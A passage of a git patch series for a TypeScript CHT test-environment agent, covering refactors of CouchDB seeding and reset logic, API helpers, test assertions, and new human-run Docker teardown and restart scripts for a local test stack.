@@ -383,104 +588,10 @@ export class TestEnvironmentAgent {
       `[Test Environment Agent] Preparing test data for ${config.contactTypes.length} contact types -> ${handle.url}`
     );
 
-    if (!this.useMockDocker) {
-      const dataPath = options.dataPath;
-      if (!dataPath) {
-        throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/)');
-      }
-      const shared = {
-        instanceUrl: credentialedUrl(handle),
-        configPath: dataPath,
-        // cht-conf drops report files (upload-docs.<ts>.log.json) in its cwd;
-        // keep them in the data project, not the repo.
-        cwd: dataPath,
-        bin: options.bin,
-        timeoutMs: options.timeoutMs,
-      };
-      const warnings: string[] = [];
-
-      // csv-to-docs never cleans json_docs (it writes alongside what is
-      // there), so clear a previous run's docs first — otherwise a superseded
-      // dataset would be re-uploaded and counted as this run's data.
-      const staleDocs = cleanSeededDocs(dataPath);
-      if (staleDocs > 0) {
-        console.log(`[Test Environment Agent] Cleared ${staleDocs} stale json_docs file(s) from a previous run`);
-      }
-
-      // Docs: CSV -> json_docs -> instance, in one ordered cht-conf process.
-      const docsRun = await runChtConf({
-        verbs: ['csv-to-docs', 'upload-docs'],
-        logLabel: 'test-data: csv-to-docs upload-docs',
-        ...shared,
-      });
-      const docsOk = runSucceeded(docsRun);
-      if (!docsOk) {
-        warnings.push(describeRunFailure('csv-to-docs/upload-docs', docsRun));
-      }
-
-      // What landed on disk is the seeding evidence AND the reset worklist
-      // (deterministic ids: re-running the same CSVs rewrites the same files).
-      const seeded = readSeededDocs(dataPath);
-      const counts = classifySeededDocs(seeded, config);
-      warnings.push(...counts.warnings);
-
-      const summary = parseUploadDocsSummary(docsRun.output);
-      if (docsOk && summary && summary.uploaded < summary.total) {
-        warnings.push(`only ${summary.uploaded} of ${summary.total} docs uploaded — see the upload-docs report in ${dataPath}`);
-      }
-      if (docsOk && !summary) {
-        warnings.push(`no docs were uploaded — does ${dataPath}/csv exist and contain CSV files?`);
-      }
-
-      // Users: accounts via POST /api/v1/users, driven by users.csv (either
-      // hand-written or generated by csv-to-docs from users.*.csv inputs).
-      // cht-conf throws on a missing users.csv, so gate on its existence.
-      let usersCreated = 0;
-      let usersOk = true;
-      if (hasUsersCsv(dataPath)) {
-        const usersRun = await runChtConf({
-          verbs: ['create-users'],
-          logLabel: 'test-data: create-users',
-          ...shared,
-        });
-        usersOk = runSucceeded(usersRun);
-        const attempts = countCreatedUsers(usersRun.output);
-        // On failure the last logged "Creating user" attempt is the one that
-        // blew up — count only the ones before it.
-        usersCreated = usersOk ? attempts : Math.max(0, attempts - 1);
-        if (!usersOk) {
-          warnings.push(describeRunFailure('create-users', usersRun));
-        }
-      } else {
-        console.log('[Test Environment Agent] No users.csv in the data project — skipping create-users');
-      }
-
-      // Only a successful, non-empty seed defines the reset worklist — a
-      // failed or empty re-seed must not clobber a live one (docs from the
-      // earlier seed are still on the instance). Deterministic ids mean a
-      // successful follow-up seed re-covers a failed run's partial upload.
-      if (docsOk && seeded.length > 0) {
-        this.seededData.set(handle.url, { dataPath, docIds: seeded.map((doc) => doc.id) });
-      }
+    const result = this.useMockDocker
+      ? structuredClone(MOCK_TEST_ENV_DATA.testData)
+      : await this.prepareTestDataReal(handle, config, options);
 
-      const result: TestDataResult = {
-        placesCreated: counts.places,
-        peopleCreated: counts.people,
-        reportsCreated: counts.reports,
-        usersCreated,
-        warnings,
-        succeeded: docsOk && usersOk,
-        seededDocIds: seeded.map((doc) => doc.id),
-      };
-      console.log(
-        `[Test Environment Agent] Seeded ${result.placesCreated} places, ` +
-          `${result.peopleCreated} people, ${result.reportsCreated} reports, ` +
-          `${result.usersCreated} users`
-      );
-      return result;
-    }
-
-    const result = structuredClone(MOCK_TEST_ENV_DATA.testData);
     console.log(
       `[Test Environment Agent] Seeded ${result.placesCreated} places, ` +
         `${result.peopleCreated} people, ${result.reportsCreated} reports, ` +
@@ -489,6 +600,52 @@ export class TestEnvironmentAgent {
     return result;
   }
 
+  /**
+   * Real prepareTestData path: seed docs (csv-to-docs + upload-docs) then users
+   * (create-users when users.csv exists), tracking the seeded doc ids per env for
+   * the couchdb reset. Requires options.dataPath (a cht-conf project with csv/).
+   */
+  private async prepareTestDataReal(
+    handle: EnvironmentHandle,
+    config: DiscoveredConfig,
+    options: PrepareTestDataOptions
+  ): Promise<TestDataResult> {
+    const dataPath = options.dataPath;
+    if (!dataPath) {
+      throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/)');
+    }
+    const shared: SeedRunBase = {
+      instanceUrl: credentialedUrl(handle),
+      configPath: dataPath,
+      // cht-conf drops report files (upload-docs.<ts>.log.json) in its cwd;
+      // keep them in the data project, not the repo.
+      cwd: dataPath,
+      bin: options.bin,
+      timeoutMs: options.timeoutMs,
+    };
+    const warnings: string[] = [];
+
+    const { docsOk, seeded, counts } = await prepareDocs(shared, dataPath, config, warnings);
+    const { usersCreated, usersOk } = await seedUsers(shared, dataPath, warnings);
+
+    // Only a successful, non-empty seed defines the reset worklist — a failed or
+    // empty re-seed must not clobber a live one (docs from the earlier seed are
+    // still on the instance).
+    if (docsOk && seeded.length > 0) {
+      this.seededData.set(handle.url, { dataPath, docIds: seeded.map((doc) => doc.id) });
+    }
+
+    return {
+      placesCreated: counts.places,
+      peopleCreated: counts.people,
+      reportsCreated: counts.reports,
+      usersCreated,
+      warnings,
+      succeeded: docsOk && usersOk,
+      seededDocIds: seeded.map((doc) => doc.id),
+    };
+  }
+
   /**
    * Reset the environment to a known state. See the three-tier reset strategy
    * in the recommendation doc. The couchdb tier is the one reset the agent
@@ -497,26 +654,19 @@ export class TestEnvironmentAgent {
    * config untouched. restart/full remain human-gated Docker operations.
    */
   async reset(handle: EnvironmentHandle, tier: ResetTier): Promise<void> {
-    if (!this.useMockDocker) {
-      if (tier === 'couchdb') {
-        await this.resetCouchdbTier(handle);
-        return;
-      }
-
-      // restart/full are Docker operations — human-gated, the agent runs none.
-      const target = handle.chtCorePath ?? '<cht-core>';
-      console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
-      if (tier === 'restart') {
-        console.log(`    (in ${target}/local-build) docker compose restart`);
-      } else {
-        console.log(`    scripts/test-env-down.sh ${target} && scripts/test-env-up.sh ${target}`);
-      }
-      console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
+    if (this.useMockDocker) {
+      console.log(`[Test Environment Agent] Reset (${tier}) -> ${handle.url}`);
+      console.log('[Test Environment Agent] (mock) reset complete');
       return;
     }
 
-    console.log(`[Test Environment Agent] Reset (${tier}) -> ${handle.url}`);
-    console.log('[Test Environment Agent] (mock) reset complete');
+    // The couchdb tier is the one reset the agent performs itself; restart/full
+    // stay human-gated Docker operations.
+    if (tier === 'couchdb') {
+      await this.resetCouchdbTier(handle);
+      return;
+    }
+    printResetGate(handle, tier);
   }
 
   /**
@@ -551,43 +701,8 @@ export class TestEnvironmentAgent {
     console.log(
       `[Test Environment Agent] couchdb reset: wiping ${tracked.docIds.length} seeded doc(s) -> ${handle.url}`
     );
-    const rows = await fetchDocRevs(handle.url, handle.auth, tracked.docIds);
-    const deletions: BulkDoc[] = [];
-    for (const row of rows) {
-      if (row.rev !== undefined && !row.deleted && !row.missing) {
-        deletions.push({ _id: row.id, _rev: row.rev, _deleted: true });
-      }
-    }
-
-    if (deletions.length > 0) {
-      const outcomes = await bulkDocs(handle.url, handle.auth, deletions);
-      const failed = outcomes.filter((row) => row.error);
-      if (failed.length > 0) {
-        const failedIds = failed.map((row) => row.id ?? 'unknown').slice(0, 5).join(', ');
-        throw new Error(`couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}`);
-      }
-    }
-
-    // Reseed pristine copies — deterministic ids mean the same docs come back
-    // with fresh revs (CouchDB allows re-creating a deleted id without a rev).
-    const reseed = await runChtConf({
-      verbs: ['upload-docs'],
-      instanceUrl: credentialedUrl(handle),
-      configPath: tracked.dataPath,
-      cwd: tracked.dataPath,
-      logLabel: 'couchdb reset: upload-docs',
-    });
-    if (!runSucceeded(reseed)) {
-      throw new Error(`couchdb reset: reseed failed — ${describeRunFailure('upload-docs', reseed)}`);
-    }
-    // upload-docs exits 0 with NO summary when it uploaded nothing, and the
-    // summary total is only the on-disk file count — so require a summary and
-    // measure it against what the pre-flight saw, never against itself.
-    const summary = parseUploadDocsSummary(reseed.output);
-    const uploadedCount = summary?.uploaded ?? 0;
-    if (uploadedCount < onDisk.length) {
-      throw new Error(`couchdb reset: reseed uploaded only ${uploadedCount} of ${onDisk.length} docs`);
-    }
+    await wipeTrackedDocs(handle, tracked);
+    await reseedTrackedDocs(handle, tracked, onDisk);
 
     // The reseeded docs are the new tracked state (the dataset may have
     // changed since the wiped set was seeded).
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
index c302295b..290ba118 100644
--- a/src/utils/cht-api.ts
+++ b/src/utils/cht-api.ts
@@ -64,28 +64,30 @@ const basicAuth = (auth: ChtAuth): string => {
 /**
  * Bounded, authenticated request. Throws on a non-2xx status with the path
  * and status only (the base URL is the handle's cred-free URL, so the full
- * message stays safe to log).
+ * message stays safe to log). The single options object carries the per-request
+ * timeout plus the method and JSON body for the POST callers.
  */
 const request = async (
   url: string,
   auth: ChtAuth,
   path: string,
-  options: ChtRequestOptions,
-  init: { method?: string; body?: string } = {}
+  options: ChtRequestOptions & { method?: string; body?: string } = {}
 ): Promise<unknown> => {
+  const method = options.method ?? 'GET';
   const timeoutMs = options.requestTimeoutMs ?? DEFAULT_REQUEST_TIMEOUT_MS;
+  const hasBody = options.body !== undefined;
   const response = await fetch(`${url}${path}`, {
-    method: init.method ?? 'GET',
+    method,
     headers: {
       Authorization: basicAuth(auth),
       Accept: 'application/json',
-      ...(init.body !== undefined ? { 'Content-Type': 'application/json' } : {}),
+      ...(hasBody ? { 'Content-Type': 'application/json' } : {}),
     },
-    ...(init.body !== undefined ? { body: init.body } : {}),
+    ...(hasBody ? { body: options.body } : {}),
     signal: AbortSignal.timeout(timeoutMs),
   });
   if (!response.ok) {
-    throw new Error(`CHT request failed: ${init.method ?? 'GET'} ${path} -> HTTP ${response.status}`);
+    throw new Error(`CHT request failed: ${method} ${path} -> HTTP ${response.status}`);
   }
   return response.json();
 };
@@ -145,7 +147,8 @@ export const fetchDocRevs = async (
   if (ids.length === 0) {
     return [];
   }
-  const body = (await request(url, auth, '/medic/_all_docs', options, {
+  const body = (await request(url, auth, '/medic/_all_docs', {
+    ...options,
     method: 'POST',
     body: JSON.stringify({ keys: ids }),
   })) as { rows?: AllDocsRow[] };
@@ -175,7 +178,8 @@ export const bulkDocs = async (
   if (docs.length === 0) {
     return [];
   }
-  const body = await request(url, auth, '/medic/_bulk_docs', options, {
+  const body = await request(url, auth, '/medic/_bulk_docs', {
+    ...options,
     method: 'POST',
     body: JSON.stringify({ docs }),
   });
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index 5c268087..fe229aff 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -69,7 +69,7 @@ const DEFAULT_TIMEOUT_MS = 180_000;
 export const resolveChtConfBin = (): string => process.env.CHT_CONF_BIN || 'cht';
 
 /** Buckets whose verbs accept a positional single-form filter. */
-const FORM_BUCKETS: ConfigUploadAction[] = ['app-forms', 'contact-forms'];
+const FORM_BUCKETS = new Set<ConfigUploadAction>(['app-forms', 'contact-forms']);
 
 /**
  * cht-conf executes code from the `--source` project (app-settings build,
@@ -113,7 +113,7 @@ const buildExecArgs = (options: ChtConfExecOptions): string[] => [
 export const buildChtConfArgs = (options: ChtConfRunOptions): string[] => {
   // A single-form filter is a `--`-separated extra arg consumed by the
   // form verbs (cht-conf's args-form-filter reads environment.extraArgs).
-  const formFilter = options.artifact && FORM_BUCKETS.includes(options.action) ? [options.artifact] : [];
+  const formFilter = options.artifact && FORM_BUCKETS.has(options.action) ? [options.artifact] : [];
   return buildExecArgs({
     verbs: CONFIG_ACTION_COMMANDS[options.action],
     instanceUrl: options.instanceUrl,
@@ -202,6 +202,28 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
   });
 };
 
+/**
+ * Map a finished bucket run onto a ConfigActionStatus, appending any failure
+ * warning. A timeout or spawn error is `failed`; otherwise the status is parsed
+ * from stdout (classifyChtConfOutput).
+ */
+const deriveBucketStatus = (
+  run: ChtConfExecResult,
+  options: ChtConfRunOptions,
+  warnings: string[]
+): ConfigActionStatus => {
+  if (run.timedOut) {
+    const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
+    warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
+    return 'failed';
+  }
+  if (run.startError !== undefined) {
+    warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
+    return 'failed';
+  }
+  return classifyChtConfOutput(run.output, run.exitCode);
+};
+
 /**
  * Run one cht-conf upload bucket against the instance. Resolves with the
  * per-bucket result (never rejects — a non-zero exit or spawn error becomes
@@ -210,11 +232,12 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
 export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActionResult> => {
   const verbs = CONFIG_ACTION_COMMANDS[options.action];
   const warnings: string[] = [];
+  const isFormBucket = FORM_BUCKETS.has(options.action);
 
-  if (options.artifact && !FORM_BUCKETS.includes(options.action)) {
+  if (options.artifact && !isFormBucket) {
     warnings.push(`artifact targeting ignored for the ${options.action} bucket`);
   }
-  const formFilter = options.artifact && FORM_BUCKETS.includes(options.action) ? [options.artifact] : [];
+  const formFilter = options.artifact && isFormBucket ? [options.artifact] : [];
 
   const run = await runChtConf({
     verbs,
@@ -226,21 +249,9 @@ export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActio
     timeoutMs: options.timeoutMs,
   });
 
-  let status: ConfigActionStatus;
-  if (run.timedOut) {
-    const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
-    warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
-    status = 'failed';
-  } else if (run.startError !== undefined) {
-    warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
-    status = 'failed';
-  } else {
-    status = classifyChtConfOutput(run.output, run.exitCode);
-  }
-
   return {
     action: options.action,
-    status,
+    status: deriveBucketStatus(run, options, warnings),
     commands: [...verbs],
     warnings,
   };
diff --git a/src/utils/cht-readiness.ts b/src/utils/cht-readiness.ts
index 75889d09..e2c68a79 100644
--- a/src/utils/cht-readiness.ts
+++ b/src/utils/cht-readiness.ts
@@ -14,6 +14,22 @@ const MONITORING_PATH = '/api/v2/monitoring';
 
 const sleep = (ms: number): Promise<void> => new Promise(resolve => setTimeout(resolve, ms));
 
+/**
+ * A single readiness attempt. Bounds the request so a hung connection can't
+ * block past maxWaitMs. Returns `null` when the instance is healthy, otherwise
+ * a short reason string for the eventual timeout message.
+ */
+const probeOnce = async (url: string, requestTimeoutMs: number): Promise<string | null> => {
+  try {
+    const response = await fetch(`${url}${MONITORING_PATH}`, {
+      signal: AbortSignal.timeout(requestTimeoutMs),
+    });
+    return response.ok ? null : `HTTP ${response.status}`;
+  } catch (error) {
+    return error instanceof Error ? error.message : 'unreachable';
+  }
+};
+
 /**
  * Poll `${url}/api/v2/monitoring` until it responds OK, using exponential
  * backoff. Resolves once healthy; rejects if it never becomes ready in time.
@@ -28,18 +44,11 @@ export const waitForReady = async (url: string, options: ReadinessOptions = {}):
   let lastError = 'no response';
 
   while (Date.now() - start < maxWaitMs) {
-    try {
-      // Bound each request so a hung connection can't block past maxWaitMs.
-      const response = await fetch(`${url}${MONITORING_PATH}`, {
-        signal: AbortSignal.timeout(requestTimeoutMs),
-      });
-      if (response.ok) {
-        return;
-      }
-      lastError = `HTTP ${response.status}`;
-    } catch (error) {
-      lastError = error instanceof Error ? error.message : 'unreachable';
+    const error = await probeOnce(url, requestTimeoutMs);
+    if (error === null) {
+      return;
     }
+    lastError = error;
 
     const remaining = maxWaitMs - (Date.now() - start);
     if (remaining <= 0) {
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
index 8f999f4b..47a34107 100644
--- a/src/utils/test-data.ts
+++ b/src/utils/test-data.ts
@@ -115,6 +115,52 @@ export const readSeededDocs = (dataPath: string): SeededDoc[] => {
     });
 };
 
+/** Which TestDataResult bucket a single seeded doc counts toward. */
+type DocBucket = 'places' | 'people' | 'reports' | 'skip';
+
+/** Configurable hierarchies store the real type in contact_type. */
+const resolveContactType = (doc: SeededDoc): string =>
+  doc.type === 'contact' ? (doc.contactType ?? '') : doc.type;
+
+/**
+ * Decide the bucket for one seeded doc against the discovered config. `skip` is
+ * a `user` account artifact (create-users owns that count). The resolved
+ * contact type is returned for the unknown-type warning.
+ */
+const classifyOneDoc = (
+  doc: SeededDoc,
+  personTypes: Set<string>
+): { bucket: DocBucket; contactType: string } => {
+  if (doc.type === 'data_record') {
+    return { bucket: 'reports', contactType: doc.type };
+  }
+  if (doc.type === 'user') {
+    return { bucket: 'skip', contactType: doc.type };
+  }
+  const contactType = resolveContactType(doc);
+  if (contactType === 'person' || personTypes.has(contactType)) {
+    return { bucket: 'people', contactType };
+  }
+  return { bucket: 'places', contactType };
+};
+
+/**
+ * Warn once per contact type that landed in `places` without being in the
+ * discovered config (an unknown type counted as a place).
+ */
+const noteUnknownType = (
+  bucket: DocBucket,
+  contactType: string,
+  knownTypes: Set<string>,
+  warnedTypes: Set<string>,
+  warnings: string[]
+): void => {
+  if (bucket === 'places' && !knownTypes.has(contactType) && !warnedTypes.has(contactType)) {
+    warnedTypes.add(contactType);
+    warnings.push(`contact type "${contactType}" is not in the discovered config; counted as a place`);
+  }
+};
+
 /**
  * Classify seeded docs into TestDataResult buckets using the DISCOVERED
  * config (a `person: true` contact type counts as a person even under a
@@ -132,24 +178,12 @@ export const classifySeededDocs = (docs: SeededDoc[], config: DiscoveredConfig):
   const warnedTypes = new Set<string>();
 
   for (const doc of docs) {
-    if (doc.type === 'data_record') {
-      counts.reports += 1;
+    const { bucket, contactType } = classifyOneDoc(doc, personTypes);
+    if (bucket === 'skip') {
       continue;
     }
-    if (doc.type === 'user') {
-      continue;
-    }
-    // Configurable hierarchies store the real type in contact_type.
-    const contactType = doc.type === 'contact' ? (doc.contactType ?? '') : doc.type;
-    if (contactType === 'person' || personTypes.has(contactType)) {
-      counts.people += 1;
-      continue;
-    }
-    if (!knownTypes.has(contactType) && !warnedTypes.has(contactType)) {
-      warnedTypes.add(contactType);
-      counts.warnings.push(`contact type "${contactType}" is not in the discovered config; counted as a place`);
-    }
-    counts.places += 1;
+    noteUnknownType(bucket, contactType, knownTypes, warnedTypes, counts.warnings);
+    counts[bucket] += 1;
   }
 
   return counts;
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 1331599a..47ebadef 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -315,7 +315,7 @@ describe('TestEnvironmentAgent', () => {
 
       const result = await agent.applyConfig(handle, { actions: ['app-forms'] });
 
-      expect(result.artifact).to.equal(undefined);
+      expect(result.artifact).to.be.undefined;
     });
 
     it('should return an empty action list when actions is an empty array', async () => {
@@ -789,11 +789,11 @@ describe('TestEnvironmentAgent', () => {
       });
 
       it('should resolve the restart tier (human-gated, agent runs no Docker)', async () => {
-        expect(await realAgent.reset(dockerHandle, 'restart')).to.equal(undefined);
+        expect(await realAgent.reset(dockerHandle, 'restart')).to.be.undefined;
       });
 
       it('should resolve the full tier (human-gated, agent runs no Docker)', async () => {
-        expect(await realAgent.reset(dockerHandle, 'full')).to.equal(undefined);
+        expect(await realAgent.reset(dockerHandle, 'full')).to.be.undefined;
       });
 
       describe('couchdb tier (the agent-owned reset)', () => {
@@ -1010,7 +1010,7 @@ describe('TestEnvironmentAgent', () => {
         source: 'docker',
       };
 
-      expect(await realAgent.teardown(handle)).to.equal(undefined);
+      expect(await realAgent.teardown(handle)).to.be.undefined;
     });
   });
 });
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index 37696853..967eea29 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -255,7 +255,7 @@ describe('cht-conf-runner', () => {
 
       expect(proc.kill.calledWith('SIGTERM')).to.equal(true);
       expect(result.timedOut).to.equal(true);
-      expect(result.exitCode).to.equal(null);
+      expect(result.exitCode).to.be.null;
     });
 
     it('folds a spawn failure into startError instead of rejecting', async () => {
@@ -267,7 +267,7 @@ describe('cht-conf-runner', () => {
 
       const result = await promise;
       expect(result.startError).to.equal('ENOENT');
-      expect(result.exitCode).to.equal(null);
+      expect(result.exitCode).to.be.null;
     });
   });
 
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
index ecd88120..62c76d01 100644
--- a/test/utils/cht-readiness.spec.ts
+++ b/test/utils/cht-readiness.spec.ts
@@ -34,7 +34,7 @@ describe('cht-readiness', () => {
 
       const result = await waitForReady('https://nginx', fast);
 
-      expect(result).to.equal(undefined);
+      expect(result).to.be.undefined;
       expect(fetchStub.callCount).to.equal(3);
     });
 
@@ -44,7 +44,7 @@ describe('cht-readiness', () => {
 
       const result = await waitForReady('https://nginx', fast);
 
-      expect(result).to.equal(undefined);
+      expect(result).to.be.undefined;
       expect(fetchStub.callCount).to.equal(2);
     });
 
diff --git a/test/utils/test-data.spec.ts b/test/utils/test-data.spec.ts
index cb2ce105..bcb08407 100644
--- a/test/utils/test-data.spec.ts
+++ b/test/utils/test-data.spec.ts
@@ -32,7 +32,7 @@ describe('test-data', () => {
     });
 
     it('returns undefined when no summary was printed (nothing to upload)', () => {
-      expect(parseUploadDocsSummary(ansiInfo('No docs directory found at /data/json_docs.'))).to.equal(undefined);
+      expect(parseUploadDocsSummary(ansiInfo('No docs directory found at /data/json_docs.'))).to.be.undefined;
     });
   });
 
@@ -113,7 +113,7 @@ describe('test-data', () => {
       it('throws on a malformed doc file rather than guessing the worklist', () => {
         writeFileSync(join(dataPath, 'json_docs', 'broken.doc.json'), '{not json');
 
-        expect(() => readSeededDocs(dataPath)).to.throw();
+        expect(() => readSeededDocs(dataPath)).to.throw(SyntaxError);
       });
     });
 

From acc562fe3c9624821653a34fdc34d03b7a2a589a Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 04:08:56 +0000
Subject: [PATCH 14/24] =?UTF-8?q?refactor(#66):=20sonar=20=E2=80=94=20note?=
 =?UTF-8?q?UnknownType=205->4=20params=20(S107=20max-params)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The complexity round introduced a 5-parameter helper (noteUnknownType in
src/utils/test-data.ts), which SonarCloud's S107 (max 4 parameters) flagged.
Bundle the two related sets — the config-known types and the already-warned
types — into one UnknownTypeTracker object, dropping the signature to 4 params.
Behavior-identical: the once-per-type unknown-contact-type warning is unchanged,
and classifySeededDocs stays at cognitive complexity 3.

Re-verified locally with a one-off eslint pass — sonarjs/cognitive-complexity
["error", 5] AND max-params ["error", 4] over the five src files all pass; the
package.json / package-lock.json change from that install was reverted.

1112 tests pass (unchanged), build + lint clean, excision grep still empty (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 PR_66_DESCRIPTION.md   |  1 +
 src/utils/test-data.ts | 23 ++++++++++++++++-------
 2 files changed, 17 insertions(+), 7 deletions(-)

diff --git a/PR_66_DESCRIPTION.md b/PR_66_DESCRIPTION.md
index 305502b9..5364097a 100644
--- a/PR_66_DESCRIPTION.md
+++ b/PR_66_DESCRIPTION.md
@@ -186,6 +186,7 @@ $ echo $?
 - `feat(#66): provision env-seam parity — CHT_URL fallback, cred stripping, COUCHDB_* auth seam`
 - `chore(#66): review hygiene — dead doc refs, stale roadmap note, should-style agent spec titles`
 - `refactor(#66): sonar round — complexity ≤5 extractions, dedicated matchers, api polish`
+- `refactor(#66): sonar — noteUnknownType 5->4 params (S107 max-params)`
 
 (Phases 1–2 groundwork — provision/readiness/scripts/apply shape — is the branch's
 pre-existing history, replayed unchanged by the rebase.)
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
index 47a34107..3c7ef3c9 100644
--- a/src/utils/test-data.ts
+++ b/src/utils/test-data.ts
@@ -144,6 +144,14 @@ const classifyOneDoc = (
   return { bucket: 'places', contactType };
 };
 
+/** Once-per-type bookkeeping for the unknown-contact-type warning. */
+interface UnknownTypeTracker {
+  /** Contact type ids present in the discovered config. */
+  known: Set<string>;
+  /** Types already warned about, so each warns at most once. */
+  warned: Set<string>;
+}
+
 /**
  * Warn once per contact type that landed in `places` without being in the
  * discovered config (an unknown type counted as a place).
@@ -151,12 +159,11 @@ const classifyOneDoc = (
 const noteUnknownType = (
   bucket: DocBucket,
   contactType: string,
-  knownTypes: Set<string>,
-  warnedTypes: Set<string>,
+  tracker: UnknownTypeTracker,
   warnings: string[]
 ): void => {
-  if (bucket === 'places' && !knownTypes.has(contactType) && !warnedTypes.has(contactType)) {
-    warnedTypes.add(contactType);
+  if (bucket === 'places' && !tracker.known.has(contactType) && !tracker.warned.has(contactType)) {
+    tracker.warned.add(contactType);
     warnings.push(`contact type "${contactType}" is not in the discovered config; counted as a place`);
   }
 };
@@ -173,16 +180,18 @@ export const classifySeededDocs = (docs: SeededDoc[], config: DiscoveredConfig):
   const personTypes = new Set(
     config.contactTypes.filter((contactType) => contactType.person === true).map((contactType) => contactType.id)
   );
-  const knownTypes = new Set(config.contactTypes.map((contactType) => contactType.id));
+  const tracker: UnknownTypeTracker = {
+    known: new Set(config.contactTypes.map((contactType) => contactType.id)),
+    warned: new Set<string>(),
+  };
   const counts: SeededDocCounts = { places: 0, people: 0, reports: 0, warnings: [] };
-  const warnedTypes = new Set<string>();
 
   for (const doc of docs) {
     const { bucket, contactType } = classifyOneDoc(doc, personTypes);
     if (bucket === 'skip') {
       continue;
     }
-    noteUnknownType(bucket, contactType, knownTypes, warnedTypes, counts.warnings);
+    noteUnknownType(bucket, contactType, tracker, counts.warnings);
     counts[bucket] += 1;
   }
 

From 33e857c1f8e80401cfbd47724697c569c27dd230 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 24 Aug 2026 19:44:42 -0600
Subject: [PATCH 15/24] =?UTF-8?q?fix(#66):=20tier-1=20review=20fixes=20?=
 =?UTF-8?q?=E2=80=94=20creds=20parity,=20classifier=20default-deny,=20conf?=
 =?UTF-8?q?ig=20paths,=20gates?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- test-env-up.sh passes COUCHDB_USER (medic) so the stack matches DEFAULT_AUTH;
  the local-build default is admin, which 401d every authenticated call
- classifyChtConfOutput: a clean exit with no upload evidence is now skipped +
  warned, never assumed uploaded (unmatched form filter, missing bucket input)
- applyConfig resolves the default config/default against handle.chtCorePath;
  cwd/bin/timeoutMs threaded per bucket
- couchdb-reset reseed reuses the seed's bin/timeoutMs
- human gates: runnable test-env-restart.sh, plus test-env-down.sh fixed (compose
  resolves COUCHDB_* for every subcommand, so both aborted without it)
- gates shell-quote the cht-core path, provision rejects control chars, and the
  printed text is asserted instead of "resolves to undefined"
- spawn failures name bin/cwd so a bad cwd is not misread as a missing cht-conf
- TLS operator note relocated to surviving files (unblocks PR_66_DESCRIPTION.md removal)
- comment dedupe per review (misattached resolveRealTarget JSDoc, duplicated narration)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---
 scripts/test-env-down.sh                   |   5 +-
 scripts/test-env-restart.sh                |  17 ++++
 scripts/test-env-up.sh                     |  17 +++-
 src/agents/test-environment-agent.ts       |  97 +++++++++++-------
 src/types/index.ts                         |  19 ++--
 src/utils/cht-conf-runner.ts               |  46 ++++++---
 test/agents/test-environment-agent.spec.ts | 112 +++++++++++++++++++--
 test/utils/cht-conf-runner.spec.ts         |  68 ++++++++++++-
 8 files changed, 313 insertions(+), 68 deletions(-)
 create mode 100755 scripts/test-env-restart.sh

diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
index 12293d37..eac1bd7c 100755
--- a/scripts/test-env-down.sh
+++ b/scripts/test-env-down.sh
@@ -2,12 +2,15 @@
 #
 # Human-run teardown for the Test Environment Layer.
 # Usage: scripts/test-env-down.sh <cht-core-path>
+# COUCHDB_* must be supplied even here: the compose files declare
+# ${COUCHDB_PASSWORD:?...}, which compose resolves for every subcommand.
 set -euo pipefail
 
 CHT_CORE_PATH="${1:?Usage: test-env-down.sh <cht-core-path>}"
 OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
 
 cd "$CHT_CORE_PATH/local-build"
-docker compose -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" down -v
+COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
+  -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" down -v
 
 echo "CHT environment torn down (-v removed volumes for a clean slate)."
diff --git a/scripts/test-env-restart.sh b/scripts/test-env-restart.sh
new file mode 100755
index 00000000..a5fb868a
--- /dev/null
+++ b/scripts/test-env-restart.sh
@@ -0,0 +1,17 @@
+#!/usr/bin/env bash
+#
+# Human-run restart for the Test Environment Layer (reset tier: restart).
+# The cht-agent NEVER runs this or any Docker command itself.
+# Usage: scripts/test-env-restart.sh <cht-core-path>
+# COUCHDB_* must be supplied even here: the compose files declare
+# ${COUCHDB_PASSWORD:?...}, which compose resolves for every subcommand.
+set -euo pipefail
+
